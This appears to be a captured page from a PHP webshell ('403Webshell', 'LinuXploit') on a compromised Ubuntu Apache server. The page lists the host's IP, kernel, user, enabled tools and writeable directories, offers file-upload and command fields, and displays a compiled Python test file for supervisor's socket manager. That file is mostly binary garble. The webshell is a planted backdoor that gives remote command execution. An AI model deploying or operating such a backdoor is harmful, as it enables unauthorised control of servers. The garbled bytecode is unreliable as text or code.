403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/supervisor/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/supervisor/tests/__pycache__/test_socket_manager.cpython-312.pyc
�

k��c�!��\�dZddlZddlZddlZddlZddlZddlZ	ddlZddl	m
Z
ddl	mZddlm
Z
ddlmZGd�d�ZGd	�d
ej �ZGd�dej �ZGd
�dej �Zd�Zd�Zedk(rej.d��yy#e$rdZY��wxYw)z(Test suite for supervisor.socket_manager�N)�DummySocketConfig)�DummyLogger)�UnixStreamSocketConfig)�InetStreamSocketConfigc��eZdZd�Zd�Zd�Zy)�Subjectc��d|_y�N���value��selfs �F/usr/lib/python3/dist-packages/supervisor/tests/test_socket_manager.py�__init__zSubject.__init__s	����
�c��|jS�Nrrs r�getValuezSubject.getValues���z�z�rc��||_yrr)r�vals  r�setValuezSubject.setValues	����
rN)�__name__�
__module__�__qualname__rrr�rrrrs����rrc�0�eZdZd�Zd�Zd�Zd�Zd�Zd�Zy)�	ProxyTestc��d|_y�NF��on_deleteCalledrs r�setUpzProxyTest.setUp!s
��$��rc��ddlm}|S)Nr)�Proxy)�supervisor.socket_managerr%)rr%s  r�_getTargetClasszProxyTest._getTargetClass$s
��3��rc�.�|j�|i|��Sr�r'�r�args�kws   r�_makeOnezProxyTest._makeOne(���%�t�#�#�%�t�2�r�2�2rc��d|_y�NTr!rs r�setOnDeleteCalledzProxyTest.setOnDeleteCalled+s
��#��rc�v�|jt��}|jd|j��yr
)r-r�assertEqualr�r�proxys  r�test_proxy_getattrzProxyTest.test_proxy_getattr.s)���
�
�g�i�(������E�N�N�,�-rc���|jt�|j��}|jd|j	��d}t�|j
|j�y)N)�	on_deleter)r-rr1r3r�
gc_collect�
assertTruer"r4s  r�test_on_deletezProxyTest.test_on_delete2sO���
�
�g�i�4�3I�3I�
�J������E�N�N�,�-���������,�,�-rN)	rrrr#r'r-r1r6r;rrrrrs ��%��3�$�.�.rrc�6�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	y)	�ReferenceCounterTestc��d|_yr ��runningrs rr#zReferenceCounterTest.setUp;�	����rc��d|_yr0r?rs r�startzReferenceCounterTest.start>s	����rc��d|_yr r?rs r�stopzReferenceCounterTest.stopArArc��ddlm}|S)Nr)�ReferenceCounter)r&rG)rrGs  rr'z$ReferenceCounterTest._getTargetClassDs��>��rc�.�|j�|i|��Srr)r*s   rr-zReferenceCounterTest._makeOneHr.rc���|j|j|j��}|j|j�|j�|j
|j�|jd|j��|j�|j
|j�|jd|j��|j�|j
|j�|jd|j��|j�|j|j�|jd|j��y)N��on_zero�on_non_zero��r)
r-rErC�assertFalser@�	incrementr:r3�	get_count�	decrement�r�ctrs  r�test_incr_and_decrz'ReferenceCounterTest.test_incr_and_decrKs����m�m�D�I�I�$�*�*�m�E��������&��
�
��������%�����C�M�M�O�,��
�
��������%�����C�M�M�O�,��
�
��������%�����C�M�M�O�,��
�
��������&�����C�M�M�O�,rc��|j|j|j��}|jt|j
�y)NrJ)r-rErC�assertRaises�	ExceptionrRrSs  r�test_decr_at_zero_raises_errorz3ReferenceCounterTest.test_decr_at_zero_raises_error[s0���m�m�D�I�I�$�*�*�m�E�����)�S�]�]�3rN)
rrrr#rCrEr'r-rUrYrrrr=r=9s%����� �3�-� 4rr=c�l�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zy)�SocketManagerTestc��t�yr)r9rs r�tearDownzSocketManagerTest.tearDownas���rc��ddlm}|S)Nr)�
SocketManager)r&r_)rr_s  rr'z!SocketManagerTest._getTargetClassds��;��rc�.�|j�|i|��Srr)r*s   rr-zSocketManagerTest._makeOnehr.rc���td�}|j|�}d|j�dt|��d|j�d�}|jt
|�|�y)NrN�<z at z for �>)rr-�	__class__�id�urlr3�repr)r�conf�sock_manager�expecteds    r�	test_reprzSocketManagerTest.test_reprksM�� ��#���}�}�T�*���"�"�B�|�$4�d�h�h�@������l�+�X�6rc�|�td�}|j|�}|j||j��y�NrN)rr-r3�config�rrhris   r�test_get_configz!SocketManagerTest.test_get_configrs3�� ��#���}�}�T�*������|�2�2�4�5rc���tdd�}|j|�}|j|j|�|j	�}|j|j�d�y)N�	localhost�a���	127.0.0.1rs�rr-r3�
socket_config�
get_socket�getsockname�rrhri�socks    r�test_tcp_w_hostnamez%SocketManagerTest.test_tcp_w_hostnamew�Z��%�k�5�9���}�}�T�*������3�3�T�:��&�&�(������)�)�+�-A�Brc���tdd�}|j|�}|j|j|�|j	�}|j|j�d�y)Nrursrtrvrzs    r�
test_tcp_w_ipzSocketManagerTest.test_tcp_w_ip~r}rc�0�tj�\}}t|�}|j|�}|j	|j
|�|j
�}|j	|j�|�d}tj|�yr)
�tempfile�mkstemprr-r3rwrxry�os�close)r�tf_fd�tf_namerhrir{s      r�	test_unixzSocketManagerTest.test_unix�sz��#�+�+�-����%�g�.���}�}�T�*������3�3�T�:��&�&�(������)�)�+�W�5���
����rc��td�}|j|�}|j|j��|j	�}|j|j��t
|j��}|j	�}t
|j��}|j||�|j||�|jd|j��|j|j��|j|jj�d}t�|j|j��|j|jj�d}t�|j|j��|j|jj�|j	�}|j|j��t
|j��}|j||�~t�|j|j��|j|jj�yrm)rr-rO�is_preparedrxr:re�_get�assertNotEqualr3�get_socket_ref_count�socket�close_calledr9)	rrhrir{�sock_id�sock2�sock2_id�sock3�sock3_ids	         r�test_socket_lifecyclez'SocketManagerTest.test_socket_lifecycle�s��� ��#���}�}�T�*������1�1�3�4��&�&�(������0�0�2�3��T�Y�Y�[�/���'�'�)���e�j�j�l�#�����D�%�(�����(�+�����L�=�=�?�@�����0�0�2�3�����,�,�9�9�:���������0�0�2�3�����,�,�9�9�:���������1�1�3�4�����+�+�8�8�9��'�'�)������0�0�2�3��e�j�j�l�#�����G�X�.��������1�1�3�4�����+�+�8�8�9rc���td�}t�}|j||��}|j�}|j	t|j�d�|j	dt|�z|jd�~t�|j	t|j�d�|j	dt|�z|jd�y)NrM)�loggerzCreating socket %srrNzClosing socket %s)	rrr-rxr3�len�datargr9)rrhr�rir{s     r�test_loggingzSocketManagerTest.test_logging�s��� ��#������}�}�T�&�}�9���&�&�(������V�[�[�)�1�-����-��T�
�:�F�K�K��N�K��������V�[�[�)�1�-����,�t�D�z�9�6�;�;�q�>�Jrc�<�td�}|j|�}|j�}|j|j	��|j|j�|j|j�|j|j�y)NrM)	rr-rxr:r�rO�bind_called�
listen_calledr�rzs    r�test_prepare_socketz%SocketManagerTest.test_prepare_socket�sw�� ��#���}�}�T�*���&�&�(������0�0�2�3�����)�)�*�����*�*�+�����*�*�+rc���tdd��}|j|�}|j�}|j|j	��|j|j|j��y)NrM�*��backlog)rr-rxr:r�r3�listen_backlog�get_backlogrzs    r�+test_prepare_socket_uses_configured_backlogz=SocketManagerTest.test_prepare_socket_uses_configured_backlog�s^�� ��B�/���}�}�T�*���&�&�(������0�0�2�3�����,�,�d�.>�.>�.@�Arc���tdd��}|j|�}|j�}|j|j	��|j|jtj�y)NrMr�)	rr-rxr:r�r3r�r��	SOMAXCONNrzs    r�;test_prepare_socket_uses_somaxconn_if_no_backlog_configuredzMSocketManagerTest.test_prepare_socket_uses_somaxconn_if_no_backlog_configured�s[�� ��D�1���}�}�T�*���&�&�(������0�0�2�3�����,�,�f�.>�.>�?rc���tdd�}|j|�}|j�}|j|�}|jtj
|j�~y)Nrurs)rr-rxrWr��error)rrhrir{�
sock_manager2s     r�test_tcp_socket_already_takenz/SocketManagerTest.test_tcp_socket_already_taken�sU��%�k�5�9���}�}�T�*���&�&�(���
�
�d�+�
����&�,�,�
�(@�(@�A�rc��td�}|j|�}|jtj|j
�y)Nz/notthere/foo.sock)rr-rWr�r�rxros   r�test_unix_bad_sockz$SocketManagerTest.test_unix_bad_sock�s5��%�&:�;���}�}�T�*�����&�,�,��(?�(?�@rc�(�tdd�}|j|�}|j|j��	|j	�|j�y#t$r)}|j|jdd�Yd}~yd}~wwxYw)NrursrzSocket has not been prepared)	rr-rOr��_close�failrXr3r+)rrhri�es    r�#test_close_requires_prepared_socketz5SocketManagerTest.test_close_requires_prepared_socket�s|��%�k�5�9���}�}�T�*������1�1�3�4�	H����!��I�I�K���	H����Q�V�V�A�Y�(F�G�G��	H�s� A�	B�(B�BN)rrrr]r'r-rkrpr|rr�r�r�r�r�r�r�r�r�rrrr[r[_sZ����3�7�6�
C�C��):�VK�,�B�@��A�
Hrr[c��t�=tj�tj�tj�yyr)�__pypy__�gc�collectrrrr9r9�s(����
�
�
��
�
�
��
�
�
��rc�V�tjtjt�Sr)�unittest�
findTestCases�sys�modulesrrrr�
test_suiter��s���!�!�#�+�+�h�"7�8�8r�__main__r�)�defaultTest)�__doc__r�r�r�r�r�r�r��ImportError�supervisor.tests.baserr�supervisor.datatypesrrr�TestCaserr=r[r9r�r�mainrrr�<module>r�s���.�	�
�	��
����4�-�7�7�	�	�.��!�!�.�4$4�8�,�,�$4�LUH��)�)�UH�n�9��z���H�M�M�l�+���g���H��s�B!�!B+�*B+

Youez - 2016 - github.com/yon3zu
LinuXploit